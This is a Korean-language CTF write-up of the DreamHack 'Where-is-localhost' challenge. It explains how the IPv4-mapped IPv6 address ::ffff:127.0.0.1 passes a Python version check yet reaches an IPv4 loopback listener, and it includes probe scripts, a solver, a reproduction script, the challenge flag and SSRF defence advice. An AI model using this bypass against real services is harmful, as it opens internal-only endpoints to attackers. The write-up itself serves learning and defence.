문제: DreamHack — Where-is-localhost 분류: web · misc 난이도: 🥉 Bronze 1 FLAG:
DH{L0C4L_En0ugh_IPv4_mapped_v6-a44dc189}
문제 설명은 한 줄이다. "localhost... 과연 어떻게 접근할까?"
서버는 입력받은 주소로 자기 자신에게 HTTP 요청을 보낸다. 전형적인 SSRF 무대인데, 막상 소스를 열어 보면 노려야 할 지점이 이상하게 생겼다. 입력은 IPv4 면 거절당하고, 정작 flag 를 주는 쪽은 출발지가 IPv4 루프백일 때만 응답한다. 둘 다 만족시켜야 한다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Where-is-localhost |
| 난이도 | 🥉 Bronze 1 |
| 분류 | web · misc |
| 제공 파일 | main.py (Flask), Dockerfile |
| 환경 | python:3.13-alpine3.20 (다이제스트 고정) + Flask |
| 라우트 | / 폼 · /vuln 자기 자신에게 요청 · /localonly flag |
| 핵심 취약점 | IPv4-mapped IPv6 주소가 파이썬과 커널에서 다르게 해석된다 |
풀이 흐름은 짧다. 입력 검증은 파이썬 ipaddress 모듈이 하고, 실제 연결은 리눅스 커널이 한다.
두 계층이 같은 문자열을 다르게 읽는 지점을 찾으면 끝이다.
🧩 배경 — ipaddress 가 주소를 어떻게 다루나
파이썬 표준 라이브러리 ipaddress 는 문자열을 받아 IPv4Address 나 IPv6Address 를 돌려준다.
파싱에 실패하면 ValueError 다. 이 문제에서 쓰는 속성은 셋뿐이다.
>>> import ipaddress
>>> a = ipaddress.ip_address('::ffff:127.0.0.1')
>>> a.version # 4 인지 6 인지
6
>>> a.exploded # 축약 없이 8그룹으로 펼친 표기
'0000:0000:0000:0000:0000:ffff:127.0.0.1'
>>> a.is_loopback # 루프백 대역인지
Trueexploded 는 :: 축약을 풀어 8개 그룹을 전부 적는다. 그런데 IPv4-mapped 주소만은
마지막 32비트를 7f00:0001 이 아니라 127.0.0.1 이라는 점 표기 그대로 남긴다.
나중에 URL 을 조립할 때 이 차이가 눈에 걸리니 미리 봐 두면 좋다.
한 가지 더. ip_address 는 생각보다 깐깐하다. 127.1 같은 축약형, 2130706433 같은 정수 표기,
0x7f000001 같은 16진 표기는 전부 거절한다. 예전 파이썬은 일부를 받아 줬지만 지금은 안 받는다.
SSRF 우회에서 단골로 쓰이는 표기들이 여기서는 시작도 못 한다는 뜻이다.
🔬 코드 정찰 — 라우트 세 개가 전부다
배포본은 Dockerfile 과 main.py 두 개뿐이다. main.py 전문은 이렇다.
from flask import Flask, render_template, request
import ipaddress
import urllib.parse
import urllib.request
import urllib.error
app = Flask(__name__)
try:
with open('flag') as f:
flag = f.read()
except FileNotFoundError:
flag = 'flag{this_is_a_fake_flag}'
@app.route('/')
def form():
return render_template('index.html')
@app.route('/vuln', methods=['POST'])
def vuln():
name = request.form.get('vulntest')
try:
address = ipaddress.ip_address(name)
if address.version == 4:
return "no..."
url = urllib.parse.urlparse(f"http://[{address.exploded}]:5000/localonly")
if url.netloc != f'[{address.exploded}]:5000':
print(url.netloc, f'[{address.exploded}]')
return "no..."
req = urllib.request.Request(url.geturl())
return urllib.request.urlopen(req).read().decode('utf-8')
except ValueError:
return "no..."
except urllib.error.URLError:
return "connection refused"
@app.route('/localonly', methods=['GET'])
def localonly():
addr = ipaddress.ip_address(request.remote_addr)
if addr.is_loopback and addr.version == 4:
return flag
else:
return 'not loopback'
if __name__ == '__main__':
app.run('0.0.0.0', 5000)읽어야 할 조건은 양쪽 끝에 하나씩 있다.
/vuln 은 우리가 준 문자열을 파싱해서 IPv4 면 그 자리에서 돌려보낸다. 남는 건 IPv6 뿐이다.
통과하면 그 주소를 대괄호로 감싸 http://[...]:5000/localonly 를 만들고 스스로 요청을 보낸다.
/localonly 는 그 요청의 request.remote_addr 을 다시 파싱해서
루프백이면서 동시에 version 이 4 일 때만 flag 를 내준다. ::1 로 들어오면 is_loopback 은
True 지만 version 이 6 이라 not loopback 만 돌아온다.
정리하면 이렇다. 보내는 쪽은 IPv6 여야 하고, 받는 쪽이 본 출발지는 IPv4 여야 한다. 같은 연결의 양 끝인데 프로토콜 버전이 달라야 한다는 소리다.
일단 가장 먼저 떠오르는 걸 넣어 본다.

결과는 예상대로다.

세 번째 관문도 하나 있다. urlparse 로 다시 파싱한 netloc 이 우리가 만든 문자열과
글자 단위로 같아야 한다. 조립한 URL 에 이상한 걸 끼워 넣어 호스트를 바꿔치기하는 시도를
막으려는 검사다. 이건 뒤에서 실험으로 확인한다.
🐛 삽질 — 먼저 틀려 본 것들
▶🕳️ 삽질 1 — 이름과 정수 표기로 우회하려던 시도
SSRF 하면 반사적으로 나오는 우회 표기들이 있다. localhost, 127.1, 정수형 2130706433,
16진 0x7f000001. 예전 문제였으면 이 중 하나쯤은 통했을 것이다.
여기서는 전부 같은 자리에서 죽는다. 파싱조차 안 되기 때문이다. ipaddress.ip_address 는
호스트 이름을 해석하지 않고, 점이 빠진 축약형도 받지 않는다. ValueError 가 나면
except ValueError 가 잡아서 똑같이 no... 를 돌려준다.

화면만 보면 IPv4 라서 막힌 건지 파싱에서 막힌 건지 구분이 안 된다. 응답이 둘 다 no... 라
그렇다. 이 구분은 뒤에서 코드로 직접 재현해서 갈랐다.
▶🕳️ 삽질 2 — IPv6 루프백 ::1 을 넣어 본 것
"IPv6 여야 한다"는 조건만 보고 ::1 을 넣었다. 루프백이고 IPv6 니 첫 관문은 확실히 통과한다.
응답이 달라졌다. no... 가 아니라 connection refused 다.

메시지가 바뀌었다는 건 의미가 있다. urllib.error.URLError 를 잡은 경로로 갔다는 뜻이라,
검사 세 개를 다 지나 실제로 소켓을 열려고 시도했다는 이야기다. 관문은 뚫었는데
그 주소에 아무도 안 듣고 있었을 뿐이다.
여기서 잠깐 헷갈렸다. ::1 로 연결이 됐다면 /localonly 가 not loopback 을 돌려줬을 텐데
그것도 아니다. 아예 연결이 안 된 것이다. 이유는 잠시 뒤 netstat 으로 확인한다.
🧪 관문 셋을 코드로 옮겨 한 번에 실험
화면 응답이 no... 하나로 뭉뚱그려져 있어서 어느 검사에서 죽는지가 안 보인다.
그래서 /vuln 의 검사 세 개를 서버 없이 그대로 옮긴 스크립트를 만들었다.
통과한 입력은 socket.getaddrinfo 로 실제 어느 주소족으로 해석되는지까지 같이 찍는다.
#!/usr/bin/env python3
"""main.py 의 /vuln 관문 3개를 서버 없이 그대로 재현해 본다.
1) ipaddress.ip_address(name) -> ValueError 면 탈락
2) address.version == 4 -> IPv4 면 탈락
3) urlparse(...).netloc 재검사 -> 정규화 결과가 안 맞으면 탈락
통과한 입력이 실제로 어느 주소로 나가는지까지 socket.getaddrinfo 로 확인한다.
"""
import ipaddress
import socket
import urllib.parse
CANDIDATES = [
"127.0.0.1", # 가장 먼저 떠오르는 것 - IPv4 라 막힌다
"127.1", # 축약 IPv4
"2130706433", # 정수 표기 IPv4
"0x7f000001", # 16진 표기 IPv4
"localhost", # 이름은 IP 가 아니다
"::1", # IPv6 루프백
"::ffff:127.0.0.1", # IPv4-mapped IPv6 <-- 노림수
"0:0:0:0:0:ffff:127.0.0.1", # 위와 같은 주소의 다른 표기
"::ffff:7f00:1", # 위와 같은 주소를 16진 그룹으로
"64:ff9b::127.0.0.1", # NAT64 prefix (well-known)
"::1%lo", # scope id 를 달아 본다
]
def gate(name: str):
# main.py 와 똑같이 try 하나가 전 구간을 감싼다. .exploded 가 던지는
# AddressValueError 도 ValueError 의 자식이라 여기서 같이 삼켜진다.
try:
address = ipaddress.ip_address(name)
if address.version == 4:
return "2.버전", f"IPv{address.version} -> 'no...'"
url = urllib.parse.urlparse(f"http://[{address.exploded}]:5000/localonly")
want = f"[{address.exploded}]:5000"
if url.netloc != want:
return "3.netloc", f"{url.netloc!r} != {want!r}"
except ValueError as e:
return "1.파싱", f"{type(e).__name__}: {e}"
return "통과", url.geturl()
def resolved(host: str) -> str:
try:
infos = socket.getaddrinfo(host, 5000, proto=socket.IPPROTO_TCP)
except socket.gaierror as e:
return f"getaddrinfo 실패: {e}"
fam, _, _, _, sa = infos[0]
return f"{socket.AddressFamily(fam).name} {sa[0]}"
print(f"{'입력':<28} {'막힌 관문':<10} 결과")
print("-" * 96)
for name in CANDIDATES:
where, detail = gate(name)
print(f"{name:<28} {where:<10} {detail}")
if where == "통과":
host = ipaddress.ip_address(name).exploded
print(f"{'':<28} {'':<10} -> getaddrinfo: {resolved(host)}")python3 analyze.py
한 화면에 답이 다 나왔다.
127.0.0.1은 두 번째 관문(버전 검사)에서 죽는다. 나머지 IPv4 표기 넷은 첫 번째 관문에서 죽는다. 화면상 똑같은no...지만 원인이 다르다.::1,::ffff:127.0.0.1,64:ff9b::127.0.0.1은 세 관문을 다 통과한다. 세 번째netloc검사는 결국exploded결과를 자기 자신과 비교하는 셈이라 정상적인 주소면 그냥 통과한다.::ffff:127.0.0.1은getaddrinfo가AF_INET6 ::ffff:127.0.0.1로 해석한다. 파이썬 계층에서는 끝까지 IPv6 다.- 덤으로
::1%lo는 재밌게 죽는다.ip_address는 scope id 를 받아들이는데.exploded가AddressValueError를 던진다. 그게ValueError의 자식이라main.py의except ValueError가 그대로 삼킨다.
이제 ::1 이 왜 연결조차 안 됐는지 확인할 차례다. 서버는 app.run('0.0.0.0', 5000) 으로 뜬다.
0.0.0.0 은 IPv4 와일드카드지 듀얼스택 주소가 아니다. 로컬에 문제와 같은 컨테이너를 띄워
리스너를 직접 들여다봤다.
docker exec wil-test netstat -tln
0.0.0.0:5000 하나뿐이다. :::5000 이 없다. IPv6 로는 애초에 아무도 안 듣고 있으니
::1 은 connection refused 가 맞다. 삽질 2의 응답이 이걸로 설명된다.
💣 핵심 — 파이썬에겐 IPv6, 커널에겐 IPv4
필요한 주소의 조건을 다시 적어 보면 이렇다.
ipaddress가 version 6 이라고 판정해야 한다.- 실제 TCP 연결은 IPv4 리스너(
0.0.0.0:5000)에 도달해야 한다. - 그 연결의 출발지가
127.0.0.1로 보여야 한다.
이 셋을 동시에 만족하는 표기가 딱 하나 있다. IPv4-mapped IPv6 주소다.
RFC 4291 §2.5.5.2 가 정의한 형식으로, 앞 80비트를 0으로 채우고 다음 16비트를 전부 1(ffff)로 둔 뒤
마지막 32비트에 IPv4 주소를 그대로 얹는다.

포인트는 이 주소를 대하는 태도가 계층마다 다르다는 것이다.
파이썬의 ipaddress 는 이걸 순수하게 128비트 주소로 본다. IPv6Address 고 version 은 6 이다.
반면 리눅스 커널은 AF_INET6 소켓이 v4-mapped 주소로 connect 하면 IPv4 연결로 바꿔서 처리한다.
소켓 API 위에서는 IPv6 처럼 보이지만 선로에 실리는 건 IPv4 패킷이다.
이 동작은 리눅스가 임의로 하는 게 아니라 IPv6 소켓 API 표준(RFC 3493)에 정의된 것이다. IPv6 로 포팅한 프로그램이 IPv4 상대와도 그대로 통신할 수 있게 하려고 만든 장치다. 편의를 위한 설계인데, 여기서는 검증 계층과 실행 계층 사이의 틈이 된다.
로컬에 문제 환경을 세워 확인
라이브 서버는 크레딧을 먹으니 먼저 로컬에서 확인했다.
배포된 Dockerfile 은 COPY contents /app 을 하는데 배포본에 contents 디렉토리가 없다.
main.py 와 템플릿, flag 파일을 직접 채워 넣어야 빌드가 된다.
mkdir -p local/contents/templates
cp extracted/main.py local/contents/main.py
cp extracted/Dockerfile local/Dockerfile
printf 'DH{LOCAL_FAKE_FLAG_FOR_REPRO}' > local/contents/flag
curl -s http://host3.dreamhack.games:9178/ > local/contents/templates/index.html
docker build -t wil-local ./local
docker run -d --name wil-test -p 15000:5000 wil-localflag 파일에는 로컬 재현용 문자열을 넣었다. 아래 캡쳐에 나오는
DH{LOCAL_FAKE_FLAG_FOR_REPRO} 는 전부 이 값이고, 진짜 flag 가 아니다.
문제 서버 컨테이너 안 /app/flag 는 배포본에 들어 있지 않다.
이제 후보들을 로컬 컨테이너에 한 번에 던져 본다.
#!/usr/bin/env bash
# 로컬 재현 컨테이너(포트 15000)에 후보 입력을 하나씩 던져 응답을 본다.
set -u
URL=http://127.0.0.1:15000/vuln
for p in '127.0.0.1' 'localhost' '2130706433' '::1' '::ffff:127.0.0.1'; do
printf '%-22s => ' "$p"
curl -s --max-time 8 -X POST -d "vulntest=$p" "$URL"
echo
done./local_probe.sh
마지막 줄만 flag 파일 내용이 나왔다. 가설대로다.
그런데 서버가 정말 자기 요청을 IPv4 로 받았는지는 이 화면만으로는 모른다. 다행히 Flask 개발 서버(werkzeug)는 요청마다 접속지 주소를 로그에 남긴다.
docker logs --tail 6 wil-test
한 줄이 결정적이다. 우리가 밖에서 보낸 POST /vuln 은 도커 브리지 주소인 172.17.0.1 로 찍힌다.
그런데 서버가 스스로 보낸 GET /localonly 는 127.0.0.1 이다. 점 표기 IPv4다.
분명 IPv6 리터럴로 요청을 걸었는데 서버가 본 출발지는 IPv4 루프백이 됐다.
로그 순서도 그 자체로 이야기가 된다. werkzeug 는 응답을 다 만든 뒤에 로그를 남기므로,
안쪽 GET /localonly 가 바깥 POST /vuln 보다 먼저 찍힌다. 마지막 두 줄이 성공한 한 쌍이고
그 앞의 네 줄은 /localonly 까지 못 간 실패 시도들이다.
소켓 층에서 다시 확인
로그만으로도 충분하지만, 이게 Flask 나 werkzeug 의 특성이 아니라 커널 동작이라는 걸
확실히 해 두고 싶었다. main.py 와 똑같이 AF_INET 리스너 하나만 열어 두고
세 가지 방법으로 붙어 본 뒤, accept() 가 돌려주는 상대 주소를 그대로 찍는다.
#!/usr/bin/env python3
"""IPv4-mapped IPv6 로 접속하면 서버가 자기를 IPv4 로 본다는 것을 소켓 층에서 확인한다.
main.py 의 app.run('0.0.0.0', 5000) 은 AF_INET 리스너 하나만 연다.
그 리스너에 ::1 / ::ffff:127.0.0.1 로 각각 붙여 보고,
서버 쪽 accept() 가 돌려주는 상대 주소를 그대로 찍는다.
"""
import socket
import threading
PORT = 15555
seen = []
ready = threading.Event()
def server():
# main.py 와 동일: IPv4 소켓 하나만 0.0.0.0 에 바인드한다
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"[listen] AF_INET 0.0.0.0:{PORT} (IPv6 소켓은 열지 않았다)")
ready.set()
while True:
conn, peer = srv.accept()
addr = peer[0]
seen.append(addr)
print(f"[accept] 서버가 본 상대 주소 = {addr!r} (Flask 의 request.remote_addr 자리)")
conn.close()
threading.Thread(target=server, daemon=True).start()
ready.wait(3)
for target in ["127.0.0.1", "::1", "::ffff:127.0.0.1"]:
fam = socket.AF_INET6 if ":" in target else socket.AF_INET
s = socket.socket(fam, socket.SOCK_STREAM)
s.settimeout(3)
print(f"\n[connect] {socket.AddressFamily(fam).name} 소켓으로 {target}:{PORT} 접속 시도")
try:
s.connect((target, PORT))
print(f"[connect] 성공. 내 쪽 소켓이 말하는 로컬 주소 = {s.getsockname()[0]!r}")
except OSError as e:
print(f"[connect] 실패: {e}")
finally:
s.close()
import time
time.sleep(0.3)
print("\n서버가 accept 한 상대 주소 목록:", seen)python3 mapped_probe.py
세 줄로 요약된다.
::1 은 AF_INET 리스너에 닿지 못해 거부당한다. 반면 ::ffff:127.0.0.1 은
같은 AF_INET6 소켓으로 시도했는데도 IPv4 리스너가 받아 준다. 그리고 그 리스너가 보고한
상대 주소는 '127.0.0.1' 이다. 클라이언트 쪽 getsockname() 은 여전히
'::ffff:127.0.0.1' 이라고 답하니, 같은 연결을 양쪽이 다르게 부르고 있는 셈이다.
request.remote_addr 은 결국 이 accept() 결과를 그대로 쓴다.
그래서 /localonly 의 is_loopback and version == 4 가 참이 된다.
선로에 흐르는 패킷 확인
마지막으로 패킷 층까지 봤다. 컨테이너의 루프백 인터페이스를 엿보면서
::ffff:127.0.0.1 로 /vuln 을 한 번 때린다.
#!/usr/bin/env bash
# 로컬 재현 컨테이너의 루프백(lo)을 엿보면서 /vuln 을 한 번 때린다.
# 입력은 IPv6 리터럴인데, 루프백에 실제로 흐르는 패킷이 IPv4 인지 IPv6 인지 본다.
set -u
C=wil-test
docker exec -d "$C" sh -c 'tcpdump -i lo -nn -c 4 tcp port 5000 > /tmp/lo.txt 2>&1'
sleep 1
echo "[*] POST vulntest=::ffff:127.0.0.1"
curl -s --max-time 8 -X POST -d 'vulntest=::ffff:127.0.0.1' http://127.0.0.1:15000/vuln
echo
echo
sleep 2
echo "[*] 컨테이너 lo 에서 잡힌 패킷"
docker exec "$C" cat /tmp/lo.txt./tcpdump_probe.sh
tcpdump 가 찍은 네 줄이 전부 IP 127.0.0.1.52228 > 127.0.0.1.5000 형식이다.
IPv6 였다면 IP6 로 찍히고 주소도 콜론 표기였을 것이다. 입력은 IPv6 리터럴이었는데
선로에는 IPv4 만 흘렀다. 이보다 직접적인 증거는 없다.
🚀 Full Exploit
증명이 끝났으니 라이브 서버에 그대로 적용한다. 페이로드는 문자열 하나라 사실 브라우저 폼에 넣어도 되지만, 재현 가능하게 스크립트로 남겼다.
#!/usr/bin/env python3
"""Where-is-localhost (Dreamhack, Bronze 1 / web·misc) solver.
/vuln 은 입력을 ipaddress.ip_address 로 파싱해 IPv4 면 거절하고,
IPv6 면 http://[주소]:5000/localonly 로 스스로 요청을 보낸다.
/localonly 는 request.remote_addr 이 "IPv4 루프백" 일 때만 flag 를 준다.
IPv4-mapped IPv6(::ffff:127.0.0.1)는 파이썬 입장에서는 IPv6 이지만
커널이 실제로 맺는 연결은 IPv4 라서, 서버가 보는 상대 주소가 127.0.0.1 이 된다.
두 조건이 동시에 만족되는 유일한 표기다.
사용: python3 solve.py http://host1.dreamhack.games:PORT/
"""
import re
import sys
import urllib.parse
import urllib.request
PAYLOAD = "::ffff:127.0.0.1"
def main() -> int:
if len(sys.argv) < 2:
print(__doc__)
return 2
base = sys.argv[1].rstrip("/")
body = urllib.parse.urlencode({"vulntest": PAYLOAD}).encode()
req = urllib.request.Request(
f"{base}/vuln",
data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
print(f"[*] target : {base}/vuln")
print(f"[*] vulntest : {PAYLOAD}")
with urllib.request.urlopen(req, timeout=15) as resp:
text = resp.read().decode("utf-8", "replace").strip()
print(f"[*] response : {text}")
m = re.search(r"DH\{[^}]*\}", text)
if m:
print(f"[+] FLAG : {m.group(0)}")
return 0
print("[-] 플래그가 안 보인다. 응답 원문을 확인할 것.")
return 1
if __name__ == "__main__":
raise SystemExit(main())python3 solve.py http://host3.dreamhack.games:9178/
브라우저 폼에 같은 값을 넣어도 결과는 같다. 주소창과 함께 남겨 둔다.

DH{L0C4L_En0ugh_IPv4_mapped_v6-a44dc189}flag 문구 자체가 답을 요약하고 있다. L0C4L_En0ugh — 커널이 보기엔 충분히 로컬이었다는 뜻이다.
🔁 재현
문제 폴더만 있으면 다시 돌려볼 수 있게 reproduce.sh 를 남겼다.
인자 없이 부르면 배포된 Dockerfile 을 그대로 빌드해 로컬에서 검증하고,
드림핵 VM 주소를 주면 진짜 flag 와 대조한다.
#!/usr/bin/env bash
# Where-is-localhost (Dreamhack 1560, Bronze 1 / web·misc) — 한 방 재현.
#
# ./reproduce.sh 로컬 도커로 재현 (진짜 flag 아님, 아래 설명)
# ./reproduce.sh http://host3...:PORT/ 라이브 서버로 재현 (진짜 flag 대조)
#
# 이 문제의 flag 는 문제 서버 컨테이너 안 /app/flag 파일에 있다. 배포본에는 없다.
# 그래서 오프라인만으로는 진짜 flag 를 만들 수 없고, 로컬 재현은
# "페이로드가 통해서 flag 파일 내용이 그대로 튀어나온다"까지만 증명한다.
# 진짜 flag 로 PASS 를 받으려면 드림핵 VM 주소를 인자로 넘겨야 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
LOCAL_FLAG='DH{LOCAL_FAKE_FLAG_FOR_REPRO}'
CNAME=wil-repro
PORT=15001
if [ "$#" -ge 1 ]; then
# ---- 라이브 모드 ----
TARGET="$1"
WANT="$EXPECT"
MODE=live
else
# ---- 로컬 모드: 배포된 Dockerfile 그대로 빌드해서 띄운다 ----
MODE=local
TARGET="http://127.0.0.1:${PORT}/"
WANT="$LOCAL_FLAG"
printf '%s' "$LOCAL_FLAG" > local/contents/flag
docker build -q -t wil-repro-img ./local >/dev/null
docker rm -f "$CNAME" >/dev/null 2>&1 || true
docker run -d --name "$CNAME" -p "${PORT}:5000" wil-repro-img >/dev/null
trap 'docker rm -f "$CNAME" >/dev/null 2>&1 || true' EXIT
# 플라스크가 뜰 때까지 기다린다
for _ in $(seq 1 30); do
curl -s -o /dev/null --max-time 2 "$TARGET" && break
sleep 1
done
fi
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$WANT" ]; then
echo
if [ "$MODE" = local ]; then
echo "✅ PASS $FLAG (로컬 재현 — 페이로드가 flag 파일을 읽어냈다)"
echo " 진짜 flag 는 라이브 서버에서만 나온다: ./reproduce.sh <VM_URL>"
else
echo "✅ PASS $FLAG"
fi
exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '${WANT:-문제.json 에 flag 없음}')"
exit 1로컬 모드는 로컬 flag 파일 내용과, 라이브 모드는 문제.json 의 진짜 flag 와 대조한다.
로컬에서 나온 DH{LOCAL_FAKE_FLAG_FOR_REPRO} 를 진짜인 척 통과시키지 않기 위해
기대값을 모드별로 따로 둔 것이다.
작업 환경은 Ubuntu 25.10 · Docker 29.7.2 · 시스템 파이썬 3.13 이었다.
tcpdump 는 컨테이너 안에 apk add --no-cache tcpdump 로 넣었다.
analyze.py 결과는 파이썬 버전을 탄다. 2130706433 같은 정수 표기를 받아 주던 시절의
파이썬이라면 첫 관문이 다르게 갈린다.
📝 결론
"IP 주소 문자열"은 하나의 값이 아니다
이 문제의 전부는 같은 문자열을 두 계층이 다르게 읽는다는 데 있다.
파이썬 ipaddress 는 ::ffff:127.0.0.1 을 128비트 IPv6 주소로 본다.
리눅스 커널은 같은 주소로 connect 하면 IPv4 연결을 맺는다.
검증하는 층과 실행하는 층이 다르면, 검증이 아무리 꼼꼼해도 실행 결과를 보장하지 못한다.
SSRF 방어를 주소 문자열 검사로 하면 진다
version == 4 를 막는 것은 IPv4 를 막는 게 아니라 "IPv4 처럼 보이는 표기"를 막는 것뿐이다.
실제로 어디로 나가는지는 커널만 안다.
목적지를 제한하고 싶으면 문자열 대신 연결 직전에 해석된 주소를 검사해야 한다.
socket.getaddrinfo 결과를 직접 받아 v4-mapped 를 풀어 본 다음
사설 대역과 루프백을 차단하는 식이다. DNS 로 이름을 받는 서비스라면
해석과 연결 사이에 값이 바뀌는 문제(DNS rebinding)까지 같이 봐야 한다.
출발지 주소로 권한을 나누지 말 것
/localonly 는 "루프백에서 왔으면 내부 요청"이라고 믿는다.
이런 설계는 서버에 자기 자신에게 요청을 보내는 기능이 하나라도 있으면 그 순간 무너진다.
관리자 전용 엔드포인트라면 출발지가 아니라 토큰이나 세션으로 인증해야 한다.
0.0.0.0 은 듀얼스택이 아니다
곁가지지만 기억해 둘 만하다. app.run('0.0.0.0', 5000) 은 IPv4 소켓 하나만 연다.
IPv6 로도 받으려면 :: 에 바인드해야 한다.
이 문제에서는 그 덕분에 ::1 이 막히고 v4-mapped 만 남아 답이 하나로 좁혀졌다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…